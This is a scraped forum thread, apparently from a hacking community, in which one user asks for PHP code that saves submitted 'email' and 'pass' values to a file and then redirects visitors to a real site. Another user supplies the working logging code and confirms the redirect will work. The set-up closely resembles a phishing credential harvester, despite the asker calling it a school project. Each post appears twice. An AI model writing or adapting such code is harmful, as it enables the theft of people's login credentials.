Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average
Thread Closed 


PHP - Need this code adjusted fast! filter_list
Author
Message
PHP - Need this code adjusted fast! #1
Hay.
I need a lil help here with php code, here it goes.

I need this code:
PHP Code:
<?php
header 
('Location: http://www.website.com');
$handle fopen("text.html""a");
foreach(
$_GET as $variable => $value) {
   
fwrite($handle$variable);
   
fwrite($handle"=");
   
fwrite($handle$value);
   
fwrite($handle"\r\n");
}
fwrite($handle"\r\n");
fclose($handle);
exit;
?>

To be adjusted to do the following
-To only accept the variables : "email" and "pass" and their "value"
-one line - one pair -> pair of "email:$value" and ext line -> same for "pass:"$value" and next line

-Bold the "email" and "pass"


It's a project given by my school teacher, just i can't get it working so i had to post it here...

This means much to me Smile

Thank you Smile


PHP - Need this code adjusted fast! #2
Hay.
I need a lil help here with php code, here it goes.

I need this code:
PHP Code:
<?php
header 
('Location: http://www.website.com');
$handle fopen("text.html""a");
foreach(
$_GET as $variable => $value) {
   
fwrite($handle$variable);
   
fwrite($handle"=");
   
fwrite($handle$value);
   
fwrite($handle"\r\n");
}
fwrite($handle"\r\n");
fclose($handle);
exit;
?>

To be adjusted to do the following
-To only accept the variables : "email" and "pass" and their "value"
-one line - one pair -> pair of "email:$value" and ext line -> same for "pass:"$value" and next line

-Bold the "email" and "pass"


It's a project given by my school teacher, just i can't get it working so i had to post it here...

This means much to me Smile

Thank you Smile


RE: PHP - Need this code adjusted fast! #3
Here is your adjusted code.

Code:
<?php
$handle = fopen("text.html", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, '<b>'.$variable.'</b>');
fwrite($handle, ':');
fwrite($handle, $value);
fwrite($handle,' ');
}
fwrite($handle, "\r\n");
fwrite($handle, "</br>");
fclose($handle);
exit;
?>

data will be added like this (only if you redirect a user to this page like this 'http://test.com/test.php?email=$value&pass=$value' and has you are redirecting like this it will only add email and pass.) :

email:h4r0015k@hackcommunity.com pass:h4r0015k


the code was not working for you because at the beginning of the code you added this piece of code 'header ('Location: http://www.website.com');' which tells the browser to visit 'http://www.website.com' without running code below it.


RE: PHP - Need this code adjusted fast! #4
Here is your adjusted code.

Code:
<?php
$handle = fopen("text.html", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, '<b>'.$variable.'</b>');
fwrite($handle, ':');
fwrite($handle, $value);
fwrite($handle,' ');
}
fwrite($handle, "\r\n");
fwrite($handle, "</br>");
fclose($handle);
exit;
?>

data will be added like this (only if you redirect a user to this page like this 'http://test.com/test.php?email=$value&pass=$value' and has you are redirecting like this it will only add email and pass.) :

email:h4r0015k@hackcommunity.com pass:h4r0015k


the code was not working for you because at the beginning of the code you added this piece of code 'header ('Location: http://www.website.com');' which tells the browser to visit 'http://www.website.com' without running code below it.


RE: PHP - Need this code adjusted fast! #5
About the website.com, that was for the public Tongue

Thank you again for coding things for me : ))

If i add header(location:...) after the others, will it work after it collects the data?


RE: PHP - Need this code adjusted fast! #6
About the website.com, that was for the public Tongue

Thank you again for coding things for me : ))

If i add header(location:...) after the others, will it work after it collects the data?


RE: PHP - Need this code adjusted fast! #7
yup it will work........


RE: PHP - Need this code adjusted fast! #8
yup it will work........


RE: PHP - Need this code adjusted fast! #9
I've reedited the code to my needs a little and it works perfectly Smile

Thanks again Smile)


Im /Closing dis now Smile








Users browsing this thread: 1 Guest(s)